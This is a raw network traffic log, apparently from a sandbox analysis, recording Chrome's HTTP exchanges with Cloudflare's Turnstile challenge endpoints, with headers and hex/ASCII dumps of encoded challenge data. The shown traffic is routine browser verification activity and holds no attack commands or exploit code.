2024-04-18 21:05:34 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3473 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f485bd6dd1c10f1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:34 UTC	3473	OUT	Data Raw: 76 5f 38 37 36 37 39 64 31 33 62 38 63 61 36 37 38 39 3d 5a 4c 77 31 66 31 33 31 64 31 65 31 35 31 48 52 55 45 31 65 45 31 57 73 45 61 73 78 6c 32 79 44 61 31 6b 2d 47 31 31 44 6c 77 44 6f 31 57 68 32 58 44 73 68 45 44 63 68 31 32 57 44 37 44 4a 45 32 54 78 33 58 44 44 4a 44 57 45 61 58 44 6a 6d 69 68 44 4f 64 57 73 44 56 33 52 55 74 44 24 6f 6b 47 68 6a 36 2d 31 31 55 41 44 73 36 64 44 4e 44 79 4f 2d 24 44 6d 4f 44 55 4b 44 78 77 39 74 78 65 31 61 68 4f 33 44 32 63 75 53 43 4e 62 4f 57 41 44 32 73 24 44 32 75 44 61 74 74 73 5a 70 52 31 62 62 70 43 56 62 75 44 4b 30 4c 24 74 6d 74 64 44 64 71 2d 48 59 52 25 32 62 4a 4e 6f 51 54 77 31 7a 75 4a 62 74 74 55 57 44 36 76 4d 75 4a 44 31 6a 61 44 44 6d 44 78 66 71 44 55 35 31 49 62 2d 44 69 52 55 62 6d 52 55 4e Data Ascii: v_87679d13b8ca6789=ZLw1f131d1e151HRUE1eE1WsEasxl2yDa1k-G11DlwDo1Wh2XDshEDch12WD7DJE2Tx3XDDJDWEaXDjmihDOdWsDV3RUtD$okGhj6-11UADs6dDNDyO-$DmODUKDxw9txe1ahO3D2cuSCNbOWAD2s$D2uDattsZpR1bbpCVbuDK0L$tmtdDdq-HYR%2bJNoQTw1zuJbttUWD6vMuJD1jaDDmDxfqDU51Ib-DiRUbmRUN
2024-04-18 21:05:34 UTC	862	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:34 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: UFVhz5W+gQnUOobDf1eDXGUYD77mGbOGgpv+ABKeC8BFi7lb91sZY4w2MwV1ruMP1Vhrp9o3gGhKV/gM+hfL7dfg3cOSe3Cl0N1VYyt++k45to5faxoDnJsIF5q85gmmh3LrvV38tD460OxSzBFPWXkSFNncYSRcyl394lQEbCNJtQ+1A9y8Qml+ZBoHhivaQHK0ueIuwODBRqayaLiEBMHeM8k7LQ3aT/Ah88fs1JReNVRyxwqIozFrOg/BeU0dwSyCzE8VOG2ocXJQQhGaF0c2ZdeUMEJS49c5vIeAWv97blPWpk5jqTx+P6B64ayMMjNsUivGFMxzgZG1983Qm3IzXUzuh8Dc7IsgOWaOcpmt8TAqieMgCWWzozRpOafaWDvzazs3uzMyMjYfSuPNf1oF1isxNj20QM2TYcbNqXl/qS2LFE+jKbSmD33PH+YttlYQ9sTMm+9g8KUXAiD0yjdY/nqMf5qWN+UhIWSpi1o0p5mDAbI87w9drJCU5JahwfzC8X7orAg4pQ6WPhU7cmuF8YQiwnydWLa4VksGtocGFHdvo0OjRR46QPqRG83D$+oAj1g+YFZwbZ1o6MEIKwA== vary: accept-encoding Server: cloudflare CF-RAY: 87679d1e9aa844d2-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:34 UTC	507	IN	Data Raw: 32 62 34 0d 0a 66 70 6d 71 69 34 39 36 65 34 4e 39 6e 72 58 44 72 4b 65 69 76 37 2f 48 71 36 33 48 74 61 65 6f 74 62 48 61 71 36 6d 6c 72 63 75 62 7a 72 53 61 72 71 4b 58 31 37 36 68 34 36 61 39 75 4d 62 48 79 74 44 41 34 75 33 67 77 4c 4c 41 72 73 7a 7a 75 50 6e 51 30 4c 69 34 30 38 33 66 42 63 58 57 33 2b 54 64 2b 50 6a 71 41 51 62 6c 37 67 4c 75 43 4f 55 4b 34 67 7a 70 46 76 54 33 32 66 6a 63 46 78 6b 62 41 64 72 68 48 77 58 68 46 42 34 6a 35 43 63 4e 39 2f 73 61 35 79 49 78 38 7a 50 2b 4f 51 34 7a 42 54 77 33 44 53 67 4b 39 2f 4d 65 48 44 55 30 50 52 6c 4b 4b 76 77 6d 51 55 74 48 53 67 34 67 51 56 45 56 45 77 38 35 54 79 68 5a 45 6c 55 75 53 54 70 59 55 44 59 62 55 79 51 6c 4a 30 42 42 48 53 4a 61 4e 6a 38 77 53 46 46 77 63 45 64 72 54 57 56 71 53 57 Data Ascii: 2b4fpmqi496e4N9nrXDrKeiv7/Hq63HtaeotbHaq6mlrcubzrSarqKX176h46a9uMbHytDA4u3gwLLArszzuPnQ0Li4083fBcXW3+Td+PjqAQbl7gLuCOUK4gzpFvT32fjcFxkbAdrhHwXhFB4j5CcN9/sa5yIx8zP+OQ4zBTw3DSgK9/MeHDU0PRlKKvwmQUtHSg4gQVEVEw85TyhZElUuSTpYUDYbUyQlJ0BBHSJaNj8wSFFwcEdrTWVqSW
2024-04-18 21:05:34 UTC	192	IN	Data Raw: 73 78 4e 69 59 72 48 69 44 35 4b 54 59 72 49 7a 49 56 46 41 67 30 50 7a 59 36 4a 67 30 42 52 6b 51 77 54 77 77 55 53 78 4e 58 53 45 77 70 4e 55 56 53 4c 46 70 42 4d 46 35 63 51 57 64 48 50 6d 6b 68 50 6a 31 72 53 47 70 76 51 69 35 74 56 48 4e 31 54 6d 63 32 55 46 4a 30 4c 32 70 65 59 46 68 75 58 6e 53 45 64 59 52 51 56 57 42 65 68 55 68 6b 68 45 31 4e 6a 59 31 2b 62 6b 31 50 6a 34 56 71 65 56 4e 35 58 49 68 76 6a 4b 46 78 6c 57 43 50 59 58 79 6f 61 57 6d 58 70 6f 4a 36 67 37 47 71 63 5a 31 2f 62 70 4f 72 75 4a 61 6e 6c 35 53 5a 76 33 69 69 72 58 57 59 6c 72 4b 34 0d 0a Data Ascii: sxNiYrHiD5KTYrIzIVFAg0PzY6Jg0BRkQwTwwUSxNXSEwpNUVSLFpBMF5cQWdHPmkhPj1rSGpvQi5tVHN1Tmc2UFJ0L2peYFhuXnSEdYRQVWBehUhkhE1NjY1+bk1Pj4VqeVN5XIhvjKFxlWCPYXyoaWmXpoJ6g7GqcZ1/bpOruJanl5SZv3iirXWYlrK4
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 31 32 63 37 0d 0a 78 71 56 38 6c 4b 79 35 6d 34 6d 75 6e 36 62 52 6f 70 4f 73 7a 38 6a 4e 74 74 4f 72 7a 4e 76 51 76 4e 6d 30 34 63 47 64 34 65 48 46 77 71 4c 58 36 75 6e 70 33 4c 33 77 35 4e 7a 78 38 4e 48 72 39 75 2f 32 32 4e 58 70 37 2b 72 66 32 4d 33 4c 77 2b 2f 59 39 77 48 63 77 39 62 58 2b 67 33 46 38 63 72 66 42 52 48 52 38 2f 48 74 2b 42 76 6e 31 76 44 6f 38 51 34 4e 46 77 37 74 47 52 59 6e 36 42 73 47 4b 66 76 6e 34 43 67 4f 2b 68 77 42 44 50 37 30 4e 77 34 6e 46 79 6a 32 4e 7a 34 68 4e 43 30 66 2f 50 6f 35 52 7a 6b 30 48 53 77 58 51 6b 74 4e 4a 51 6c 4a 4b 7a 39 53 45 68 5a 41 51 6b 38 35 57 56 51 79 51 43 77 75 4f 55 41 37 56 6d 41 5a 52 45 41 37 4a 69 70 46 57 6b 77 39 50 43 39 64 52 47 39 45 53 53 39 75 52 6e 4e 64 58 54 77 2f 64 47 70 36 50 Data Ascii: 12c7xqV8lKy5m4mun6bRopOsz8jNttOrzNvQvNm04cGd4eHFwqLX6unp3L3w5Nzx8NHr9u/22NXp7+rf2M3Lw+/Y9wHcw9bX+g3F8crfBRHR8/Ht+Bvn1vDo8Q4NFw7tGRYn6BsGKfvn4CgO+hwBDP70Nw4nFyj2Nz4hNC0f/Po5Rzk0HSwXQktNJQlJKz9SEhZAQk85WVQyQCwuOUA7VmAZREA7JipFWkw9PC9dRG9ESS9uRnNdXTw/dGp6P
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 53 6e 34 6e 49 75 34 69 71 72 34 6e 47 6e 5a 48 55 30 39 61 59 78 39 76 61 78 61 32 61 30 64 2b 7a 33 37 50 66 32 70 33 58 34 64 4c 48 33 38 58 71 72 62 2f 52 76 4e 36 79 36 65 7a 33 34 2b 62 61 78 63 6a 75 7a 75 66 71 39 75 50 54 31 67 54 61 32 50 6a 49 31 4e 76 35 42 2f 6a 76 2b 4d 66 65 41 65 37 51 34 2b 58 30 36 42 49 45 2b 77 66 64 2f 51 38 54 37 41 49 45 41 51 6a 66 47 78 67 68 2b 51 41 66 4d 41 30 50 4d 43 6f 73 41 67 59 4b 38 66 55 79 4d 2f 67 35 4e 53 67 30 2f 67 6f 63 44 52 30 32 4f 53 68 43 48 78 59 6b 52 69 4e 41 47 46 41 6b 51 77 73 50 4b 69 45 50 54 6b 49 31 52 6c 59 77 55 43 68 63 4e 46 51 77 57 44 6f 78 48 32 49 38 59 6c 74 57 4c 69 31 41 4c 32 78 55 55 31 4e 45 64 6a 4e 47 56 6d 78 55 54 58 6f 31 56 46 64 73 50 31 35 30 51 30 42 64 5a 46 Data Ascii: Sn4nIu4iqr4nGnZHU09aYx9vaxa2a0d+z37Pf2p3X4dLH38Xqrb/RvN6y6ez34+baxcjuzufq9uPT1gTa2PjI1Nv5B/jv+MfeAe7Q4+X06BIE+wfd/Q8T7AIEAQjfGxgh+QAfMA0PMCosAgYK8fUyM/g5NSg0/gocDR02OShCHxYkRiNAGFAkQwsPKiEPTkI1RlYwUChcNFQwWDoxH2I8YltWLi1AL2xUU1NEdjNGVmxUTXo1VFdsP150Q0BdZF
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 72 38 33 4f 74 61 7a 55 6c 61 43 52 78 74 58 58 78 74 47 78 73 4c 2b 61 75 4d 43 2f 32 2b 62 63 6f 36 6d 6a 37 61 58 4c 7a 62 2f 52 33 62 2f 67 76 62 53 76 74 73 2f 45 36 76 7a 4e 37 38 6a 64 33 66 58 33 30 76 72 59 35 41 62 41 36 64 62 47 39 75 34 4d 79 39 48 62 34 52 4c 39 38 42 44 6d 2b 4f 72 74 39 51 76 39 32 78 59 50 33 43 49 62 2b 52 55 69 49 50 59 73 42 69 7a 6d 37 4f 67 49 43 69 48 6c 4e 43 45 34 45 69 4d 54 4d 76 67 53 4b 6a 51 33 4e 69 34 7a 4d 7a 6f 75 4f 78 6c 45 4d 67 56 4b 54 53 41 5a 54 77 30 70 52 31 4d 53 4e 68 45 59 43 79 74 45 56 53 64 4c 46 6b 31 53 57 52 6c 53 54 54 56 41 59 6a 45 7a 61 53 63 31 4f 57 34 36 4b 55 67 38 59 55 74 50 53 7a 41 32 51 6d 74 4d 52 57 31 4a 66 31 4d 34 51 57 4e 45 68 48 35 2b 61 6e 32 4c 61 57 52 59 59 30 39 Data Ascii: r83OtazUlaCRxtXXxtGxsL+auMC/2+bco6mj7aXLzb/R3b/gvbSvts/E6vzN78jd3fX30vrY5AbA6dbG9u4My9Hb4RL98BDm+Ort9Qv92xYP3CIb+RUiIPYsBizm7OgICiHlNCE4EiMTMvgSKjQ3Ni4zMzouOxlEMgVKTSAZTw0pR1MSNhEYCytEVSdLFk1SWRlSTTVAYjEzaSc1OW46KUg8YUtPSzA2QmtMRW1Jf1M4QWNEhH5+an2LaWRYY09
2024-04-18 21:05:34 UTC	708	IN	Data Raw: 70 66 4f 71 4d 62 4b 78 70 69 39 71 71 6d 7a 76 39 71 6a 7a 71 53 2f 77 37 76 6d 35 74 6a 69 76 4b 62 47 75 2b 4c 6a 72 4c 48 76 39 74 61 32 75 4f 2f 65 2f 76 6e 76 75 39 73 41 34 2f 62 36 42 66 44 6b 30 75 44 73 35 74 38 48 42 68 49 53 34 65 44 65 43 68 51 43 34 51 6b 63 48 76 59 63 45 65 33 31 46 69 4d 54 38 69 4d 5a 2b 76 6b 6e 4c 51 49 67 42 66 63 50 4a 51 6a 78 35 68 34 76 4b 51 63 6d 42 53 77 36 39 78 34 64 4b 77 77 7a 47 68 67 42 49 30 4d 33 4a 30 63 66 4c 42 73 70 47 69 30 52 52 54 46 57 4e 45 4e 4e 4f 52 42 4e 45 6a 6f 2f 4c 6b 45 68 50 42 35 54 59 69 42 59 57 32 59 38 53 6d 67 33 59 45 39 59 52 45 6f 71 64 45 31 57 55 32 68 53 55 6e 74 32 4e 31 4e 76 67 46 4e 33 55 6e 6c 53 54 31 74 45 53 57 43 44 53 34 46 62 67 32 32 4b 68 48 78 30 54 49 4f 4f Data Ascii: pfOqMbKxpi9qqmzv9qjzqS/w7vm5tjivKbGu+LjrLHv9ta2uO/e/vnvu9sA4/b6BfDk0uDs5t8HBhIS4eDeChQC4QkcHvYcEe31FiMT8iMZ+vknLQIgBfcPJQjx5h4vKQcmBSw69x4dKwwzGhgBI0M3J0cfLBspGi0RRTFWNENNORBNEjo/LkEhPB5TYiBYW2Y8Smg3YE9YREoqdE1WU2hSUnt2N1NvgFN3UnlST1tESWCDS4Fbg22KhHx0TIOO
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 38 39 32 0d 0a 56 31 2b 75 38 34 4c 6a 4e 76 72 79 77 73 71 6a 43 38 74 65 31 38 2b 61 35 73 4e 50 73 30 4e 76 79 32 50 50 61 41 77 62 70 33 4d 66 36 31 51 30 48 79 63 50 4d 44 4f 73 57 47 41 44 6e 38 76 54 7a 31 2f 62 37 38 66 77 55 45 77 49 59 46 66 73 56 2f 51 50 71 4c 65 67 57 4b 53 6a 69 41 78 54 39 38 79 4d 4b 38 6a 4d 46 2b 4f 30 73 2f 44 77 38 46 53 34 74 4d 67 38 76 41 7a 34 67 48 68 63 62 4f 30 41 75 43 68 38 6d 4a 55 38 6a 56 46 59 32 55 46 41 6d 52 68 52 57 47 7a 42 43 56 31 77 57 4a 44 35 6d 47 6c 4e 43 62 46 70 75 4a 45 42 4d 55 45 5a 63 5a 48 56 76 4d 55 52 6c 5a 57 35 6e 57 6c 31 49 4f 31 6b 34 55 6c 45 39 67 32 42 30 5a 6c 52 2f 66 59 31 36 58 49 6d 50 62 56 31 2f 68 32 74 6f 54 6d 32 4a 63 55 35 37 66 59 70 63 58 6f 2b 4d 67 70 5a 6c 66 Data Ascii: 892V1+u84LjNvrywsqjC8te18+a5sNPs0Nvy2PPaAwbp3Mf61Q0HycPMDOsWGADn8vTz1/b78fwUEwIYFfsV/QPqLegWKSjiAxT98yMK8jMF+O0s/Dw8FS4tMg8vAz4gHhcbO0AuCh8mJU8jVFY2UFAmRhRWGzBCV1wWJD5mGlNCbFpuJEBMUEZcZHVvMURlZW5nWl1IO1k4UlE9g2B0ZlR/fY16XImPbV1/h2toTm2JcU57fYpcXo+MgpZlf
2024-04-18 21:05:34 UTC	832	IN	Data Raw: 64 76 71 62 62 79 73 72 72 31 4e 37 47 34 72 62 70 2b 4d 37 6c 76 76 72 2b 34 67 4c 32 37 64 48 65 34 74 67 42 35 64 76 57 43 41 54 6a 36 67 51 43 35 51 62 65 33 2b 6e 69 35 52 4c 72 39 68 51 64 45 67 30 63 49 66 63 62 49 77 54 7a 35 2b 62 63 4a 68 59 49 36 53 72 74 4a 77 55 76 43 43 6f 75 4d 78 45 72 47 69 30 4e 37 7a 49 31 48 42 63 34 4f 78 6f 44 51 52 77 54 42 53 59 4d 47 78 70 4e 4f 51 34 79 48 43 63 65 51 42 56 46 56 6b 55 62 52 7a 4a 65 48 44 4d 5a 4e 31 6c 59 55 30 35 66 4f 69 56 71 53 45 64 6b 62 53 78 5a 4b 6a 4a 75 50 31 31 53 59 46 64 4b 4c 47 38 79 4f 6a 68 63 66 6d 74 51 67 33 4e 38 5a 6b 4e 78 57 6c 56 68 57 47 5a 2f 58 58 69 42 54 31 43 4d 6a 5a 57 4b 64 34 70 5a 63 70 5a 57 6c 46 64 63 6d 6c 79 61 63 47 35 63 68 71 6d 59 6c 33 57 6b 70 6d Data Ascii: dvqbbysrr1N7G4rbp+M7lvvr+4gL27dHe4tgB5dvWCATj6gQC5Qbe3+ni5RLr9hQdEg0cIfcbIwTz5+bcJhYI6SrtJwUvCCouMxErGi0N7zI1HBc4OxoDQRwTBSYMGxpNOQ4yHCceQBVFVkUbRzJeHDMZN1lYU05fOiVqSEdkbSxZKjJuP11SYFdKLG8yOjhcfmtQg3N8ZkNxWlVhWGZ/XXiBT1CMjZWKd4pZcpZWlFdcmlyacG5chqmYl3Wkpm
2024-04-18 21:05:34 UTC	1105	IN	Data Raw: 34 34 61 0d 0a 78 68 54 4c 43 4a 4e 52 47 51 6c 51 54 4a 6e 53 6b 74 5a 5a 7a 67 37 51 69 39 72 50 47 42 74 61 48 4e 6e 55 46 70 53 63 55 31 33 4d 6e 39 75 55 58 65 44 65 46 43 41 63 56 39 56 58 32 31 5a 6a 34 70 5a 6b 33 36 55 56 4a 64 6f 69 32 4b 47 59 35 65 47 66 70 35 73 67 70 6d 57 65 35 5a 67 6c 35 75 6f 68 59 4e 6c 68 4a 70 6c 71 71 71 69 6e 34 47 47 6e 6e 2b 4e 75 70 5a 36 70 72 61 58 6f 4a 32 4f 6c 34 44 46 66 37 79 51 6c 70 2b 7a 76 63 53 67 68 71 36 4f 6d 62 4b 70 76 71 44 56 31 71 4c 61 7a 4b 61 73 73 62 4b 2f 33 4e 6e 56 32 2b 44 56 31 4e 66 54 33 4f 62 49 6f 74 37 4e 36 75 76 41 34 4b 76 4e 35 36 37 41 7a 50 54 46 32 76 65 32 37 39 48 49 30 76 61 37 2b 4e 4c 79 2f 4f 6e 36 39 64 71 2b 39 66 67 46 35 63 50 39 42 68 4c 53 38 4e 50 34 41 67 7a Data Ascii: 44axhTLCJNRGQlQTJnSktZZzg7Qi9rPGBtaHNnUFpScU13Mn9uUXeDeFCAcV9VX21Zj4pZk36UVJdoi2KGY5eGfp5sgpmWe5Zgl5uohYNlhJplqqqin4GGnn+NupZ6praXoJ2Ol4DFf7yQlp+zvcSghq6OmbKpvqDV1qLazKassbK/3NnV2+DV1NfT3ObIot7N6uvA4KvN567AzPTF2ve279HI0va7+NLy/On69dq+9fgF5cP9BhLS8NP4Agz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49768	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:35 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:35 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 18 Apr 2024 21:05:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Lfms+T1QYWCAgflaTx9XEg==$GWQC24j2b8+BGIMXSUxx9A== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87679d242fd2adac-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49769	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:35 UTC	776	OUT	GET /cdn-cgi/challenge-platform/h/g/i/87679d13b8ca6789/1713474334611/5Vy4gR13UJmVS9e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:35 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:35 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 87679d257d9653db-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:35 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 25 00 00 00 10 08 02 00 00 00 1e 4b 21 4a 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%K!JIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49772	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:35 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/87679d13b8ca6789/1713474334611/5Vy4gR13UJmVS9e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:36 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:36 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 87679d286f537bdb-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:36 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 25 00 00 00 10 08 02 00 00 00 1e 4b 21 4a 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%K!JIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49773	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:36 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/87679d13b8ca6789/1713474334619/352d3b2c5e9dc9bae2aeeb1b41c14cdda5ab05bb78267dfc6c7ea5a85b1d9f3d/EkaxB_SUZeivAD3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:36 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 18 Apr 2024 21:05:36 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-18 21:05:36 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4e 53 30 37 4c 46 36 64 79 62 72 69 72 75 73 62 51 63 46 4d 33 61 57 72 42 62 74 34 4a 6e 33 38 62 48 36 6c 71 46 73 64 6e 7a 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gNS07LF6dybrirusbQcFM3aWrBbt4Jn38bH6lqFsdnz0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-18 21:05:36 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49774	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:36 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31108 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f485bd6dd1c10f1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:36 UTC	16384	OUT	Data Raw: 76 5f 38 37 36 37 39 64 31 33 62 38 63 61 36 37 38 39 3d 5a 4c 77 31 59 32 55 54 68 79 73 32 73 44 6c 44 25 32 62 44 76 44 52 31 4d 58 58 44 72 31 6b 45 44 74 55 6e 44 2b 52 79 57 75 55 69 44 6b 31 64 54 55 65 44 39 6e 44 55 68 52 44 48 44 32 52 68 64 47 7a 55 56 33 31 79 67 6a 77 5a 44 32 6c 44 77 58 52 32 2d 4c 31 79 4f 4d 6d 44 4a 52 44 42 24 31 79 68 44 70 32 6b 61 44 44 6a 44 44 63 7a 44 24 31 31 32 79 44 74 69 72 54 44 78 65 44 63 7a 33 44 6a 39 57 70 2d 71 38 32 64 5a 52 44 50 58 44 44 51 33 31 44 37 44 78 57 44 65 76 4d 6d 44 64 66 31 4c 57 68 75 44 78 36 68 41 64 58 73 41 77 69 2b 33 30 59 52 71 4e 61 6d 77 52 68 44 42 45 32 44 6e 65 64 35 54 62 61 4a 55 44 55 47 79 55 31 6e 33 4e 72 50 52 4b 45 33 31 6b 35 4a 24 7a 68 4d 42 7a 51 30 31 68 6f 4a Data Ascii: 